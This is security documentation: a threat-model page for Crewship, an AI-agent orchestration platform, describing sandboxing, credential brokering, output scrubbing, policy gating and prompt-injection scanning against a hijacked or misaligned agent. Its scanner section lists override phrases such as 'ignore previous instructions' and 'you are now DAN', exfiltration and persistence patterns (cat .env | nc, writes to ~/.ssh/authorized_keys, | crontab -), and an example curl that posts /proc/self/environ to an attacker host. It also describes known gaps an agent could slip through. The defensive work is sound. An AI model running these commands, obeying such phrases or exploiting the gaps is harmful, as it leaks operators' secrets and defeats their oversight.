Skip to main content

Threat Model

Crewship’s security posture rests on five layers that compose into a defense-in-depth model. Each layer assumes the layer above it can fail. This page is the 1-page summary; deep-dive links for each layer are at the bottom.

Adversary

The threat model we design against is an agent that has been prompt-injected, jailbroken, or is otherwise misaligned — an attacker has supplied input the agent treats as instructions, and we have to assume the agent will execute that input verbatim against whatever tools it has access to. The attacker is not assumed to have compromised the host machine, the operator’s terminal, or the Crewship binary itself. In practice this means we trust:
  • The host kernel and container runtime.
  • The Crewship binary and sidecar binary on disk. The curl | sh installer verifies the SHA-256 against a signed checksums file and — when cosign is on PATH — also verifies the Sigstore signature against the project’s release workflow identity. Homebrew and Docker Compose installs rely on the upstream channel’s own integrity; operators in regulated environments should run cosign verification manually. See Install.
  • The operator running crewship.
We do not trust:
  • Anything the agent reads — system prompt, user prompt, tool output, fetched documents, MCP server responses.
  • The agent’s own output, until the scrubber has run over it.
  • Network destinations the agent wants to reach.

Layer 1 — Container isolation

Every agent runs in its own Linux container. The defaults applied in internal/provider/docker/docker_container.go:
  • UID 1001 (agent) for the agent process; UID 1002 for the per-agent sidecar.
  • CapDrop: ["ALL"] as the starting capability set.
  • No capabilities are added back by defaultCapAdd starts empty. NET_RAW used to be granted (for ping) but was removed: it lets a process open AF_PACKET sockets, a DNS-tunnelling exfil primitive that can carry stolen secrets out via base64-encoded subdomain lookups even when the egress allowlist blocks every other domain. A crew that genuinely needs raw sockets / ICMP can opt in through team.CapAdd, which the devcontainer-features parser restricts to an explicit allowlist (NET_BIND_SERVICE today).
  • no-new-privileges security opt + read-only root filesystem
    • PID limit + memory + CPU quotas + tmpfs /tmp with a 500 MB cap.
  • No Docker socket bind-mounted into the agent container. The agent cannot launch sibling containers, mount the host docker.sock, or enumerate peers.
  • Mounts: the workspace directory read/write and /output/<agent>/ for any persistent files; nothing else by default.
  • NetworkMode is instance-wide, set from the server config (p.cfg.Network) — not per-agent. Operators who need per-agent network isolation must build it at the host network layer (e.g. per-crew Docker networks) rather than rely on the runtime default.

Privileged-mode escape hatch

A crew can be flagged Privileged: true in its security profile — needed for DinD or anything requiring SYS_ADMIN. When that flag is set the runtime disables no-new-privileges and drops ReadonlyRootfs because Docker rejects both under privileged mode. CapDrop: ALL still applies on paper, but with Privileged=true the container has full root-equivalent host access regardless. Treat a privileged crew as outside this threat model — its isolation guarantees are whatever the host runtime provides.

Blast radius if the agent escapes

If a non-privileged agent breaks out of the container runtime it gets the host process namespace as UID 1001, with CapDrop: ALL and an empty CapAdd (no NET_RAW unless the crew explicitly opted in), no Docker socket, read-only root, and the quotas above. This is the standard rootless-container failure mode; operators are expected to layer host hardening (SELinux, AppArmor, seccomp, kernel patching) on top. Detail: Container isolation.

Layer 2 — Sidecar credential broker

The agent never sees raw credentials. Instead:
  1. Credentials are encrypted at rest in the host database with AES-256-GCM using the operator’s ENCRYPTION_KEY (internal/encryption); the sidecar holds the decrypted working set in an in-memory store (internal/sidecar/credstore) that never touches disk.
  2. A per-agent sidecar runs alongside the agent container, also as a non-root user (UID 1002).
  3. The agent’s outbound HTTP traffic is proxied through the sidecar. When the agent calls https://api.openai.com/..., the sidecar:
    • Checks the destination against the per-agent allowlist.
    • Looks up the credential mapped to that destination.
    • Injects the Authorization header on the way out.
    • Forwards the response back.
  4. The sidecar’s credentials are loaded once at startup over stdin as a JSON payload. In transit the JSON is base64-wrapped inside the container launch command (echo '<b64>' | base64 -d | crewship-sidecar) so the shell never interprets credential bytes; the pipeline decodes it before the sidecar reads stdin. They are never written to the agent container’s environment.
The agent therefore cannot:
  • Read API keys via printenv, cat /proc/1/environ, or any other env-var introspection — credentials don’t live in the agent’s env.
  • Reach an HTTP destination not in its allowlist as long as it uses the HTTP_PROXY / HTTPS_PROXY env vars that orchestrator injects (http://127.0.0.1:9119). Well-behaved Go/Python/Node HTTP clients honor this; clients that ignore proxy env vars (or that open raw sockets) can bypass it. Hard egress filtering at the network layer is the operator’s responsibility — see Container isolation for hardening options.
  • Exfiltrate credentials by tricking the LLM into echoing them — the scrubber (Layer 3) drops anything that looks like a key in the agent’s output before it lands in the journal or web UI.
When a credential does end up in the agent env (OAuth/CLI tokens, or SECRET credentials with Keeper off), the Orchestrator logs the exposure at WARN (actionable) or DEBUG (structural) so operators can monitor and remediate where possible — see Monitoring credential exposure. Detail: Credentials guide for the operator flow, internal/sidecar/ for the source.

Layer 3 — Output scrubber

Every byte the agent produces — chat messages, journal entries, tool input/output, status updates streamed over WebSocket — passes through internal/scrubber/ before it is persisted or shown to a human. The scrubber owns 17 credential-shaped patterns today:
  • OpenSSH private-key blocks
  • PEM-encoded private-key blocks (-----BEGIN [RSA|EC|DSA|ED25519] PRIVATE KEY-----)
  • Anthropic keys (sk-ant-...)
  • OpenAI keys (sk-..., sk-proj-..., sk-svcacct-...)
  • Google service-account / API keys (AIza...)
  • Cursor API keys (cur_...)
  • Factory tokens (fact_..., factory_...)
  • OpenRouter keys (sk-or-...)
  • xAI keys (xai-...)
  • Groq keys (gsk_...)
  • GitHub PATs (ghp_, gho_, ghs_, ghr_, github_pat_)
  • GitLab PATs (glpat-...)
  • Slack tokens (xoxb-, xoxp-, xoxa-, xoxr-)
  • AWS access keys (AKIA...)
  • JWT bearer tokens (Bearer eyJ...)
  • JSON password|secret|token|api_key|apikey|secret_key field values
  • PASSWORD|SECRET|API_KEY|... shell-style env assignments
The list grows as the maintainer encounters new shapes in the wild. A scrub hit replaces the matched substring with a [REDACTED:<type>] marker. The operator can search journal entries for the marker to investigate which agent tried to echo what. For the keeper credential-use path (/execute), the scrubber additionally masks the injected secret’s own value and its common encodings — literal, base64 (std/URL, padded and raw), base32, URL-escape, hex (lower/upper), and reversed — so echo $TOKEN | base64 and friends don’t leak it in the returned output.
The scrubber is defense-in-depth, not a boundary (#1022 / #1064). A per-secret encoding set can never enumerate every transform a single tool can apply (gzip/deflate, split/chunked output, XOR, a custom alphabet), and it does nothing against a tool that self-exfiltrates without ever printing the secret — e.g. curl --data-binary @/proc/self/environ https://attacker. The real containment for single-tool self-exfil is Layer 1 (sandbox) + egress policy; the dedicated private-bridge + egress-enforcement work is tracked as EPIC #1001 M2b. Never treat “the scrubber will catch it” as a safety property.

Layer 4 — Keeper policy layer

Even with credentials brokered and output scrubbed, the agent can still take legitimate-looking actions the operator wants to gate: opening a high-risk file, hitting a paid API endpoint, calling a tool that modifies production data. Keeper is the per-workspace policy engine that evaluates each tool call against a YAML ruleset before the call is dispatched. Rules can:
  • Allow — the call proceeds (default for everything not matched).
  • Deny — the call is blocked, the agent receives a structured error, the decision is journalled.
  • Require approval — the call pauses, a waitpoint lands in the operator’s Inbox, and the agent resumes (or is denied) on the operator’s choice.
  • Escalate — the call routes to a second-opinion agent (“gatekeeper LLM”) for a softer decision, with the final answer captured in the journal.
Keeper decisions are first-class journal entries (entry_type = keeper.decision) and are searchable in Recall, so a postmortem can reconstruct exactly what the agent tried and why the policy held the line. Detail: Keeper guide.

Layer 5 — Memory prompt-injection scanner

Memory files are normally agent-authored, but external ingestion paths can land poisoned content: an operator manually edits CREW.md, a crew-shared file lands via PR review, a peer card from a past session gets surfaced, a future skill import pulls remote content. Any of those can carry instructions the agent treats as authoritative if no defence runs between the file and the system prompt. internal/memory/quarantine.go is the scanner. It runs on every memory READ (before the content reaches buildAgentMemoryBlock) AND on tool-call return values (before the result lands back in the agent’s context — the MINJA query-time-injection defence). A hit replaces the matched content with a [BLOCKED] placeholder + writes the original to .quarantine/{sha256}.md for operator triage.

Flow

Reading the flow:
  • The scanner runs in three stages from cheapest (unicode codepoint scan) to most expensive (base64 decode + re-scan). Most content fails fast at step 1 or 2; the base64 path only fires on content that LOOKS like it might be hiding an encoded payload.
  • The homoglyph fold (Cyrillic ј → Latin j, etc.) is folded into the regex pass — it’s not a separate step. Pure-ASCII content skips the NFKD normalisation entirely so the operator-typed CREW.md doesn’t pay the homoglyph tax.
  • Quarantine write failures fail closed: the model gets an IsError=true tool result rather than the poisoned content. A half-working scanner is worse than no scanner if it leaks on the failure path.
  • Idempotency: same content → same SHA → same .quarantine/{sha}.md filename, overwritten in place. Reading a poisoned file twice doesn’t accumulate duplicate quarantine copies.

Rule families (current — PR-F4 v2)

Invisible-unicode — class-based — the scanner flags any codepoint in Unicode’s Cf (Format) category via unicode.Is(unicode.Cf, ch), which covers every invisible-format codepoint that exists today (zero-width spaces ZWSP/ZWNJ/ZWJ, BIDI overrides LRM/RLM/LRE/RLE/LRO/RLO, directional isolates LRI/RLI/FSI/PDI, byte-order mark, the TAG block, SOFT HYPHEN, ARABIC LETTER MARK, …) and any added in future Unicode revisions — so it never lags a new codepoint the way a curated list would. Three Hangul filler codepoints (U+115F, U+1160, U+3164) are added by an explicit allowlist because they render empty but are category Lo, not Cf. Cheap check; runs first.Prompt-injection regex (11 rules total, line-anchored, case-insensitive) — 4 prompt-injection patterns (ignore previous|all|prior instructions, you are now DAN|<role>, disregard rules|instructions|the above|system|previous, {/* ignore ... */} HTML smuggling) plus the 5 exfiltration and 2 persistence patterns below.Exfiltration patterns (5)curl $TOKEN/..., cat .env | nc|curl|..., aws s3 cp ... .ssh/...|id_rsa, plus the round-PR-F4 URL exfil rules (https?://...?<param>=$TOKEN|API_KEY|SECRET|... and https?://.../$TOKEN|...). The URL rules catch the “send to attacker.com/?data=$ENV” pattern beyond the existing curl-only rules.Persistence patterns (2)>> ~/.ssh/authorized_keys, | crontab - from stdin.Base64 deobfuscation (PR-F4) — for every base64-shaped block ≥ 60 chars in the content, attempt decode; if the decoded text matches any of the existing rules above, flag with category base64_obfuscation and pattern <rule>_base64. False-positive guard: a 50% printable-character threshold on the decoded payload, so lorem-ipsum-shaped base64 (e.g. binary blobs in test fixtures) doesn’t trip the gate. JWT-shape payloads are explicitly tested as benign.Homoglyph fold (PR-F4) — NFKD normalise the body, then apply a 16-codepoint Cyrillic/Greek → Latin look-alike fold (іgnoreignore, dіsregarddisregard, etc.), and re-run the prompt-injection regex against the normalised version. Hits report <rule>_homoglyph. Cost: two regex passes instead of one; the fast path skips pure-ASCII content entirely so the cost only fires on suspicious input.Tool-return scan path (PR-F4 “scan path 1”) — the orchestrator’s emitToolResultBlock (internal/orchestrator/exec_stream.go) wraps incoming Claude tool_result blocks through ScanContent before forwarding to the agent. A hit replaces the result body with the [BLOCKED] placeholder (tool returns are ephemeral, so unlike the memory read path there is no on-disk quarantine copy — the placeholder is the defence). This is the MINJA defence: an agent that called a search tool can’t have the search result inject “ignore previous instructions” into its own context.All-adapter sweep (PR-F4 “scan path 2”) — the remaining adapters (CODEX_CLI, GEMINI_CLI, OPENCODE, FACTORY_DROID, CURSOR_CLI) emit tool_result events directly from their parsers. Those events all flow through a single chokepoint — the stream handler in streamOutput (internal/orchestrator/exec_stream.go) — which runs the same scanToolResultEvent on every tool_result before it reaches the journal, chat-bridge, or re-injected context. CLAUDE_CODE is skipped there (already scanned on path 1), so nothing is double-scanned. One caveat: the CURSOR_CLI adapter’s tool_result content carries only the lifecycle subtype — the tool payload rides in UI-only metadata and is not re-injected into model context. The TestToolResultScan_AllAdapters matrix locks the coverage per adapter.BYO model-endpoint SSRF fence (#961) — a workspace-configured ENDPOINT_URL credential is a tenant-supplied destination the sandbox dials, so it is guarded against reaching internal infrastructure. internal/httpsafe splits the blocked ranges into a hard tier (link-local incl. cloud metadata 169.254.169.254, multicast, reserved, unspecified — and their IPv4-mapped-IPv6 forms) and a private tier (RFC1918, loopback, ULA). validateEndpointURL rejects a hard-tier literal at credential-create; localModelExtraDomains gates a literal private host at run-setup; and the sidecar proxy’s ssrfDialContext does the authoritative resolve-then-pin — it re-resolves the host at dial and connects to the exact validated IP, so a name that resolves internal (or DNS-rebinds after the allowlist string-match) is refused. The hard tier is blocked unconditionally; the private tier opens only for a crew that set allow_private_endpoints and an operator who set the instance-level ceiling CREWSHIP_ALLOW_PRIVATE_ENDPOINTS (ANDed in effectiveAllowPrivateEndpoints, #974 S5) — so a workspace admin cannot self-grant private egress on a shared/cloud host. The container’s L3 firewall also filters private/link-local/metadata IPs before ipset-allowing a resolved domain (#974 S6), defense-in-depth behind the sidecar’s resolve-then-pin. free network mode retains its explicit no-limits semantics. Covered by TestEndpointTiers, TestValidateEndpointURL_SSRF, TestLocalModelExtraDomains_SSRF, TestSSRFDialContext.

What the scanner does NOT catch (yet)

The list is honest:
  • Cross-language homoglyph beyond Cyrillic/Greek — Hebrew, Armenian, Mathematical Alphanumeric Symbols block. Low priority because the existing rules target English-language injection patterns and the homoglyph fold table only needs to cover what attackers can substitute for ASCII letters in the existing rule set. Extensions are additive.
  • Multi-step prompt injection — content that’s benign on its own but builds an instruction when combined with the next read. Out of scope; the scanner is single-pass per file.
  • Adversarial LLM output mimicking benign content — content that says “PROCEED” to a downstream agent’s heuristic check. That’s a Layer 4 (Keeper) defence, not Layer 5.
  • Content the agent SELF-AUTHORED that’s later read by another agent — peer cards are a real attack surface here. The peer-card writer caps content to 1500 B + the GDPR cascade can purge cards, but a malicious agent writing instructions into a peer card today bypasses the inbound-only scan because peer cards are written authoritatively. Tracked as PR-F follow-up: extend ScanContent to peer-card WRITE path.
  • Inbound content above the per-tier byte cap — caps are 4000 / 4000 / 1500 / 8000 / 30000 / 1500 / no-cap (lessons) bytes per tier. The scanner runs on whatever fits within the cap; content truncated by cap before reaching the scanner is benignly cut off.

Quarantine response — what an operator sees

When a hit fires, the agent’s tool result / file read gets the [BLOCKED] placeholder verbatim:
The operator’s view:
  1. .quarantine/{sha256}.md lands on disk inside the agent’s container — content + YAML frontmatter (category / pattern / source path / SHA) so triage tooling can route without re-running the scan
  2. A journal entry fires (entry_type = memory.scan.hit) with the same triple
  3. The agent’s next tool result includes the placeholder so the model can see SOMETHING happened (it can ask the operator about it instead of looping on “why is this file empty”)
Idempotent on content: the same poisoned body quarantined twice reuses the same SHA-keyed filename and overwrites in place. The inbound scan runs on every read, so without this every read of a poisoned file would accumulate duplicate quarantine copies.

Fail-closed posture

Quarantine WRITE failure (disk full, container permission drop) returns IsError=true from the scanner — the poisoned content is NOT returned to the model. The agent sees a tool error instead. This is the right default: a half-working scanner is worse than no scanner if it lets content through on the failure path.

Ingress trust fence

Layer 5’s scanner runs on Crewship’s own LLM calls (memory recall, Keeper, pipeline steps). It cannot see the agent-CLI turn: in OAuth mode the request to the model is an opaque TLS tunnel the sidecar never decrypts. So a second, complementary control neutralizes untrusted content at ingress, in plaintext, on our side — before the prompt is assembled and regardless of auth mode. internal/untrusted.Wrap(source, content) wraps external, lower-trust bytes in a nonce-delimited block:
  • The nonce is random per call and stripped from the content, so an attacker cannot forge the id-matching closing tag to “break out” of the fence — a bare </untrusted> inside the payload is inert data.
  • lookout.ScanInput scans the content and annotates the block’s suspicion level rather than blocking, so a legitimate issue that quotes an injection example is fenced-and-flagged, not dropped.
  • One line in the base system prompt (crewshipSystemPreamble) tells the model to treat <untrusted …> blocks as pure data, never instructions, and to report — not act on — any directive found inside.
A CI lint-gate (TestIngressFenceGate) fails the build if a new caller interpolates a known external field (starting with the webhook payload.Data) into a prompt without routing it through the fence, so the chokepoint cannot be silently reopened.
M0 scope (current): the webhook ingress site is fenced. M1 (tracked): mission/task descriptions, crew-context member fields, and Composio/tool-output ingestion sites route through the same fence. See issue #808.

What this composition does and does not protect against

Beta posture and known gaps

Crewship v0.1 beta is the first public beta. The threat model above describes the current implementation, with these gaps:
These are known, accepted gaps in the v0.1 beta. Operators with stricter requirements must layer host-level controls (network policy, capability drops, rootless runtime) on top.
  • Egress is HTTP_PROXY-style, not network-enforced. Agents that bypass HTTP_PROXY or open raw sockets exit the allowlist unchecked. Operators who need hard egress control must layer Docker network policies (--internal, custom networks, egress firewall) on top.
  • NET_RAW is dropped by default (it was previously granted for ping). Crews that need raw sockets / ICMP must opt in explicitly via team.CapAdd, which is restricted to a capability allowlist.
  • Privileged crews bypass most of Layer 1. Anything flagged Privileged: true is outside this threat model.
  • Container-runtime isolation is the host’s responsibility. The default Docker config is not rootless, and Apple Containers / Colima have different threat profiles than upstream Docker.
  • The server itself holds Docker socket access, which is root-equivalent on the host. Nothing above changes that: agents are fenced out of the socket, the process that creates their containers is not. A filtering proxy narrows it to the endpoints we use — see Docker Socket Proxy — but that page is explicit that the control cannot stop a privileged container being created, because the proxy filters URL paths and Privileged: true lives in the request body. The workspace allow_privileged_credentials gate remains the fence for that.
  • Keeper rulesets ship empty. Operators write the rules that matter for their environment; there is no “secure by default” policy yet.

Account enumeration on the public auth surface

Every unauthenticated endpoint that takes an email address answers the same way whether or not that address has an account here: Residual gap. With CREWSHIP_ALLOW_SIGNUP=true and no email-verification step, an attacker who signs up as victim@example.com can still infer the answer by then trying to sign in with the password they just chose: it works for an address that was free and fails for one that was taken. Closing that needs verification-before-activation, which beta does not have. Instances that leave signup off (the default) are unaffected — the surface returns 403 before looking at the address.

Tenant isolation on internal-auth handlers

/api/v1/internal/* routes authenticate via X-Internal-Token rather than per-user JWTs. Tokens come in two forms:
  • Workspace-bound tokens (wsv1.<workspace_id>.<HMAC-SHA256(master, derivation_context || workspace_id)>, derived by internaltoken.DeriveWorkspaceToken) are what sidecars receive at startup via their stdin IPCConfig. The MAC is keyed by the master secret and computed over a fixed versioned domain-separation context concatenated with the workspace ID (not the workspace ID alone). The middleware re-derives the MAC from the embedded workspace ID and the in-memory master secret, so a token captured inside a container only ever authorizes the workspace it was issued for. Derivation is stateless; tokens roll with the master on every boot. The binding is enforced as a mandatory request scope, not as an optional ?workspace_id check (that earlier shape left a hole: a bound token that simply omitted the query fell through to unscoped reach). requireInternal now, for a bound token:
    • rejects (403) a supplied ?workspace_id that disagrees with the binding; and
    • injects the bound workspace into ?workspace_id when the caller omits it. Every handler that filters by ?workspace_id (webhook secret, list credentials, agent/chat resolve, crew/agent create, …) is therefore tenant-scoped automatically — there is no “legacy unscoped” fall-through for bound tokens. Path-param mutations that do not read the query (chat message-count / title, run finalize, credential status) additionally constrain their WHERE clause by the bound workspace from context (foreign rows → 404, never mutated). Handlers scoped by a workspace_id carried only in the JSON body (issue/mission/assignment/query/escalation create, confidence report, cost record, journal emit, pipeline save) enforce the same binding in-handler via assertInternalTokenWorkspace (403 on a foreign tenant), since the auth middleware cannot inspect bodies.
  • The master token (CREWSHIP_INTERNAL_TOKEN) never enters a container. It remains valid for host-side trusted callers (the chat bridge resolver and the LLM proxy cost monitor; the former webhook secret resolver was removed — the trigger handler now reads the secret from its local DB, never over IPC) that dial the internal API in-process over loopback (127.0.0.1 / ::1). Because the master’s bound scope is empty it authorizes every workspace, so a copy leaked into a crew container would otherwise retain full cross-tenant power. To cap that blast radius, requireInternal pins the master to a loopback origin: a master token arriving from a Docker-bridge / LAN IP (the only place a container-side leak could be replayed from) is refused with 403. Sidecars reach the API from a bridge IP and always carry a bound token, so they are unaffected. Operators who front crewshipd with a reverse proxy that rewrites RemoteAddr opt back into token-only with CREWSHIP_INTERNAL_ALLOW_ANY=true (the same kill-switch that relaxes the network gate), accepting that the token is then the sole guard.
For internal routes, the IPC layer additionally projects IPCConfig.workspace_id from the orchestrator’s sidecar contract before the request leaves the container. Pre-PR-F24 that projection was the only line of defense (the token itself was a single global secret and internalWsCtx trusted whatever ?workspace_id was passed); the cryptographic binding now enforces it server-side.

Per-agent identity on the shared sidecar

The sidecar is shared per crew — several agents run in one container behind one sidecar — so a workspace-bound token (identical for every agent in the workspace) and the sidecar’s boot identity (s.ipc.AgentSlug, frozen to whichever agent started the container) cannot tell which crew member is making a given call. Agent-facing routes that once trusted a caller-supplied from/slug (/escalate, /query, the per-agent memory path /mcp/memory/<slug>, and the Keeper credential routes) therefore let any sibling in the crew impersonate a peer — including on a CREDENTIAL escalation, which is a non-repudiation gap for the vault. To close it, the orchestrator mints a per-agent token for every agent — agtv1.<workspace_id>.<agent_id>.<HMAC-SHA256(master, agent_derivation_context || workspace_id || NUL || agent_id)>, derived by internaltoken.DeriveAgentToken. It is delivered to each agent as $CREWSHIP_AGENT_TOKEN in its environment and injected as an Authorization: Bearer header into its memory MCP config, and the sidecar is booted with the whole crew’s token→identity roster (the boot agent’s token via IPCConfig.AgentToken, each member’s via CrewMember.AuthToken). On each call the sidecar constant-time-matches the presented bearer token against that roster to resolve the acting agent:
  • a valid token is authoritative and overrides any from/URL slug in the request (a spoofed from naming a real sibling no longer wins);
  • a token that matches no crew member is refused (403 / JSON-RPC error);
  • with no token, the request is refused whenever the crew has per-agent tokens provisioned (the normal case after this change) — a sibling cannot drop the Authorization header to fall through to the spoofable membership check. Only a genuinely token-less (un-upgraded) deployment falls back to the prior behaviour (membership-validated from for escalate/query, URL slug for the memory path), so upgrading the binary doesn’t break crews whose agents don’t yet carry tokens. Because the master never enters a container, the token cannot be forged from inside the agent process.

Where the memory refusal is enforced (CRE-153)

The token-less refusal above is only true of a route that actually performs it, and stating the guarantee at the level of “identity-bearing routes” was how it came to be false. The first attempt applied the check inside the memory MCP handler alone; the five legacy HTTP memory routes registered alongside it — GET /memory/read, POST /memory/write, POST /memory/search, GET /memory/status, POST /memory/reindex — did no identity resolution at all and resolved the tier from the sidecar’s boot agent, so a sibling that simply omitted its Authorization header could still read and overwrite the boot agent’s private AGENT.md. The whole memory surface is now gated by path prefix in the sidecar’s router (refuseUnauthorizedMemory, internal/sidecar/memory_guard.go), before the route switch chooses a handler. Both /memory/* and /mcp/memory* are covered, a memory route added later inherits the check from its registration, and the refusal is a 403 on every one of them — the MCP transport used to answer 200 with a JSON-RPC error, which made downgrade attempts read as successes in access logs. The MCP handler’s own redundant check (for in-process callers that bypass the router) answers 403 too, so no path can refuse a caller while logging a success. /mcp/memory* and the legacy routes both resolve each caller’s own tier from its token now (#1301, below) rather than one of them defaulting to the boot agent’s — but the identity resolution is still two independent code paths (memoryAgentContextFor for the MCP transport, legacyMemoryEffectiveSlug + peerMemoryEngineFor for the five legacy routes), so a future route added under /mcp/memory that skips memoryAgentContextFor still fails the build (TestMemoryMCPRoutes_ResolvePerAgentContext). Moving the check to the prefix was necessary and was not sufficient. As first shipped the gate tested only whether the header was absent, on the stated reasoning that a request carrying a token “is resolved through actingIdentity, which refuses forgeries on its own” — true of /mcp/memory/<slug>, false of the five legacy routes, which call actingIdentity nowhere. Two ways through remained, both since closed and both now pinned by tests that drive the real router:
  • A forged token. Authorization: Bearer anything was not a token-less downgrade, so the gate passed it, and no legacy handler resolved identity behind it. Reading the boot agent’s private AGENT.md cost one arbitrary header — a cheaper bypass than the one being fixed. Forgery is now refused at the chokepoint, not assumed of downstream callers.
  • A sibling’s own valid token. The five legacy handlers resolved the agent tier from the sidecar’s boot agent, so any authenticated member read and overwrote the boot agent’s tier. This was first closed by refusing every agent-scoped request from a non-boot member outright (403, pointing at /mcp/memory/<slug>) — a stopgap, since a sibling’s own memory was simply unreachable over this surface rather than actually served. #1301 replaced the refusal with the real fix: legacyMemoryEffectiveSlug resolves the ACTING agent from its token (the same identity /mcp/memory/<slug> already resolved), and read/write swap to that agent’s own base path while search/status/reindex — which run through a real FTS5-indexed memory.Engine, not a plain file read — get their own per-agent Engine instance from a lazily-built, slug-keyed cache (peerMemoryEngineFor, internal/sidecar/memory_mcp.go) instead of always the boot agent’s. The cache is bounded by crew roster size (an unknown slug is refused before an entry is ever created) and every entry is closed at sidecar shutdown alongside memoryEngine/crewMemoryEngine. scope=crew was never part of this — it resolves to one directory shared by the whole crew by construction, so there is no per-agent crew tier to cross. The first cut of the stopgap refusal mistakenly refused it too, breaking sibling access to shared memory — a functional regression wearing a security fix’s clothes, caught in review before it shipped.

The hybrid branch — acting identity across the IPC boundary (#1348)

One branch of /memory/search leaves the sidecar entirely: hybrid=true forwards to the host so recall can combine the workspace FTS corpus with episodic (journal) memory. The forward authenticates with the crew’s X-Internal-Token — which identifies the sidecar, one shared identity per crew container, not the agent that asked. As shipped, the per-agent identity the chokepoint had just validated was dropped at that hop, so host-side scope=own could not resolve to the caller — the same boot-identity conflation #1301 removed from the FTS path, reappearing one hop later. The acting identity now crosses the boundary explicitly, and only as a narrowing:
  • the sidecar attaches X-Acting-Agent-Slug, derived exclusively from the token-resolved acting identity (or, on a token-less legacy crew, the boot slug from the orchestrator-minted IPC config — never from the URL or the request payload), and refuses to forward at all when no identity resolves;
  • the host serves the forward on a dedicated internal route (POST /api/v1/internal/memory/search/hybrid) that re-proves the slug against the internal token’s cryptographic workspace/crew binding: an unknown slug, a sibling-crew slug, a foreign-workspace slug, a missing header, or an unbound (master) token are all refused with 403, never fallen back to a wider identity. scope=own then filters episodic recall by the resolved agent, and crew_shared is pinned to the token’s bound crew plus the acting agent’s membership in it.
A compromised container can therefore still name any sibling inside its own crew — exactly the authority the shared container already has by construction — but nothing beyond the crew/workspace its token is bound to. Cross-agent isolation of own-scope hybrid recall is pinned by tests on both sides of the hop (internal/sidecar/memory_hybrid_identity_test.go, internal/api/memory_hybrid_search_internal_test.go). The general lesson is the one this section already records, applied one level deeper: a guarantee stated at the level of “the memory surface” is only as true as the weakest handler behind it, and a comment asserting what callers do cannot enforce anything. A refusal that only proves “not the wrong tier” is a stopgap, not the fix — the fix is serving the RIGHT tier, and that took a second change (#1301) after the chokepoint (#1295, #1303) closed the leak. Coverage of the rest of the sidecar’s routes is a different, weaker statement, deliberately kept honest here:
  • /query, /escalate and the agent-attribution routes (the whole issue surface — /issue/create, /issues, /issue/<id> GET and PATCH, /issue/<id>/comment, /issue/<id>/link, /issue/<id>/attachments GET and POST, /issue/<id>/attachments/<id> GET — plus /expose-port, /keeper/*, /pipelines/save, /pipelines/<slug>/run, /mcp/routines, /connections/<crew>/message, /report-confidence) resolve the acting agent inside the handler and fail closed there. They are not behind a prefix gate; a route added next to them does not inherit the check. The issue reads are on this list deliberately rather than in the crew-scoped bucket below: the board is crew data, and a sibling that omits its Authorization header must not fall back to the boot agent’s identity to read it.
  • Crew-scoped routes (mission start, pipeline dry-run, cross-crew message and file reads) carry no per-agent decision at all: any member of the crew may drive them, and authorization is applied by crewshipd on the far side of the IPC hop. That is an accepted boundary, not an oversight.
  • TestSidecarRoutes_IdentityCoverage enumerates the routes registered in the sidecar router directly from source and fails when one is not classified, so the next route cannot silently join the first category by accident.
The raw LLM-proxy cost ledger still attributes usage to the boot agent: provider API calls carry the provider key, not a per-agent token, so the proxy has no per-request identity to bind — an accepted limitation of the metering path, distinct from the identity-bearing agent routes above.

Resolved exception — Keeper Phase 2 family

The /api/v1/internal/keeper/{skill-review,behavior,memory-health, negative-learning} handlers (PR-C / PRD §6 F4) read body.workspace_id from the JSON payload alongside ctx.workspace_id from the middleware. This family used to carry a documented cross-tenant gap; both halves are now closed:
  • Asymmetric forgery (caller passes workspace A in query, claims workspace B in body) is rejected by the assertBodyWorkspaceMatchesCtx helper in internal/api/keeper_phase2.go, which compares both values and returns 400 on mismatch.
  • Symmetric forgery (caller picks one foreign workspace consistently across both query and body) is closed by PR-F24: the X-Internal-Token a sidecar holds is bound to its workspace at issue time, and both internalAuth and internalWsCtx validate that binding against ?workspace_id (403 on mismatch).
A follow-up (PR-F25) eliminates body.workspace_id from these four handlers and derives workspace from context only — an architectural cleanup now that the binding holds, no longer a security gap. Internal routes that carry workspace_id only in the JSON body (POST /internal/cost/record, POST /internal/journal/emit, POST /internal/pipelines/save, POST /internal/mcp-tool-calls, plus the issue/mission/assignment/query/escalation create handlers and the confidence report) enforce the same binding in-handler (assertInternalTokenWorkspace, or — where the workspace is resolved from the DB rather than the body, as in the confidence report — a direct check against the resolved workspace), since the auth middleware cannot inspect bodies. The cross-crew messaging surface (/internal/crew-messages, /internal/crew-files/{crewId}) historically authorized purely via active crew_connections rows, which left a captured bound token able to read/send messages and read/write shared files for any foreign workspace’s connected crews. Round 2 (R-2) closed this: when the request authenticated with a workspace-bound token, every caller-supplied crew ID (from_crew_id / to_crew_id / crew_id / requester_crew_id / the path crewId) must resolve to the token’s bound workspace (403 otherwise; unknown crews get the same 403 so the check is not an existence oracle). Master-token loopback callers keep the connection-only model. The credential-metadata listing (GET /internal/credentials) added an opt-in ?crew_id scope (#1031) but left it fail-open: a workspace-bound token authorizes the whole workspace, so any holder could omit crew_id (workspace-wide list) or forge a sibling crew’s id and enumerate every crew’s credential metadata. #1159 closes this by binding the token to a crew. A per-crew sidecar now receives a crew-bound token (crwv1.<workspace_id>.<crew_id>.<mac>, internaltoken.DeriveCrewToken) instead of a workspace-bound one; the crew is baked into the MAC. requireInternal refuses a ?crew_id query parameter that disagrees with the token’s crew (403) across every internal route, and the credential listing scopes to the cryptographic crew (InternalTokenCrewFromContext) in preference to the query — so a forged or omitted crew_id can no longer widen the view. Routes that carry crew_id in the JSON body (cost record, journal emit, keeper request/execute, pipeline save/exec, assignment run, escalation, query, MCP tool-call recording, and POST /internal/agents) enforce the same exact-crew match in-handler via assertBoundCrewWorkspaceDB (#1186), so a crew-bound token cannot attribute writes to — or hire into — a sibling crew either. The loopback exemption is connection-based (r.RemoteAddr), never header-based: the in-process TokenSyncer and crew-less callers legitimately carry no crew and keep the workspace-wide include_values path. Residuals (intended, not bypasses):
  • The binding derives its trust from the sidecar process boundary (UID 1002 vs. agent UID 1001). An attacker who fully compromises the sidecar process itself still acts with that one workspace’s authority — the intended blast-radius cap.
  • The master-token loopback pin assumes host-side trusted callers reach the internal API over loopback, which holds for the in-process callers in this codebase (internal/chatbridge/resolver.go dials WithInternalLoopbackURL = 127.0.0.1:<port>; the LLM-proxy TokenSyncer / CredentialMonitor dial cfg.Auth.NextjsURL, which defaults to http://localhost:<port>). If an operator overrides CREWSHIP_NEXTJS_URL to a non-loopback host so the proxy dials the API across a network hop, those master-token calls will be refused unless CREWSHIP_INTERNAL_ALLOW_ANY=true is also set — a deliberate fail-closed posture, documented here rather than silently relaxed.
